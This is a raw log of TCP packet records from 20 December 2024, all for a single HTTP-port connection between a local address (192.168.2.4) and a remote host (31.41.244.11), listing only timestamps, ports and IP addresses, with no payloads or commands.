Dec 20, 2024 11:12:14.808289051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.809109926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.809155941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.809278011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.809325933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.810151100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.810195923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.810278893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.810322046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.811259031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.811297894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.811342955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.811388016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.812375069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.812422991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.812489986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.812530994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.813469887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.813514948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.813580036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.813623905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.814508915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.814553976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.814606905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.814651012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.815622091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.815665960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.815968990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.816015005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.816684961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.816725969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.816802025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.816852093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.817786932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.817832947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.817872047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.817918062 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.818862915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.818911076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.818949938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.818994999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.819996119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.820039034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.820054054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.820101023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.821036100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.821079016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.821115971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.821161032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.822144985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.822194099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.822223902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.822268009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.823262930 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.823304892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.823328972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.823374033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.824285984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.824332952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.824428082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.824471951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.825376987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.825421095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.825510979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.825556993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.826468945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.826520920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.826617956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.826662064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.827563047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.827601910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.827682972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.827727079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.828656912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.828699112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.828777075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.828820944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.829734087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.829777956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.829826117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.829870939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.830874920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.830919027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.830950022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.830991983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.831923962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.831968069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.832057953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.832102060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.832984924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.833038092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.833084106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.833132029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.834135056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.834187031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.834240913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.834283113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.835194111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.835239887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.835284948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.835331917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.836273909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.836319923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.836365938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.836411953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.837359905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.837400913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.837492943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.837531090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.838443995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.838484049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.838526964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.838568926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.839514971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.839556932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.839629889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.839673042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.840598106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.840643883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.840714931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.840756893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.841691971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.841815948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.842436075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.842770100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.842816114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.842876911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.842921019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.843878984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.843925953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.843970060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.844012976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.844965935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.845010042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.845082045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.845128059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.846095085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.846137047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.846213102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.846259117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.847143888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.847199917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.847244978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.847289085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.848225117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.848278046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.848485947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.848531008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.849329948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.849373102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.849448919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.849492073 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.850409031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.850455046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.850497007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.850542068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.851500988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.851547956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.851551056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.851592064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.852576971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.852622986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.852664948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.852710009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.853651047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.853696108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.853758097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.853802919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.854842901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.854895115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.854974985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.855020046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.855921984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.855967999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.856024981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.856067896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.856946945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.856992960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.857001066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.857043982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.858022928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.858068943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.858103991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.858150005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.859141111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.859194994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.859210014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.859255075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.860217094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.860260010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.860301971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.860346079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.861285925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.861332893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.861429930 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.861473083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.862353086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.862396955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.862399101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.862442017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.863455057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.863497019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.863539934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.863578081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.864516020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.864564896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.999766111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.999814987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.999883890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.000112057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.000263929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.000427961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.001234055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.001286030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.001421928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.002021074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.002322912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.002368927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.002377987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.002427101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.003458023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.003504038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.003534079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.003571987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.004487038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.004538059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.004625082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.004669905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.005582094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.005630016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.005673885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.005717993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.006674051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.006778002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.006824970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.007760048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.007941008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.007987022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.008845091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.008888960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.008934021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.009919882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.009965897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.010016918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.010994911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.011043072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.011111975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.011152029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.012082100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.012183905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.012232065 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.013236046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.013253927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.013299942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.014278889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.014424086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.014465094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.015373945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.015420914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.015465021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.016441107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.016486883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.016557932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.017534971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.017580032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.017625093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.017668009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.018660069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.018857002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.018919945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.019696951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.019742966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.019793987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.020840883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.020890951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.020992994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.022000074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.022000074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.022066116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.022108078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.022978067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.023112059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.023153067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.024070024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.024111032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.024214029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.025191069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.025233030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.025262117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.025964022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.026237965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.026391029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.026446104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.027340889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.027452946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.027498007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.028392076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.028435946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.028512955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.029519081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.029575109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.029715061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.030232906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.030587912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.030704021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.030750990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.031658888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.031786919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.031833887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.032794952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.032840014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.032928944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.033885956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.033938885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.033982038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.034076929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.034967899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.035104036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.035150051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.036015987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.036083937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.036139965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.037117004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.037240028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.037288904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.038212061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.038320065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.038368940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.039294004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.039403915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.039458990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.040360928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.040481091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.040525913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.041625023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.041731119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.041779041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.042634010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.042691946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.042711020 CET	80	49768	31.41.244.11	192.168.2.4
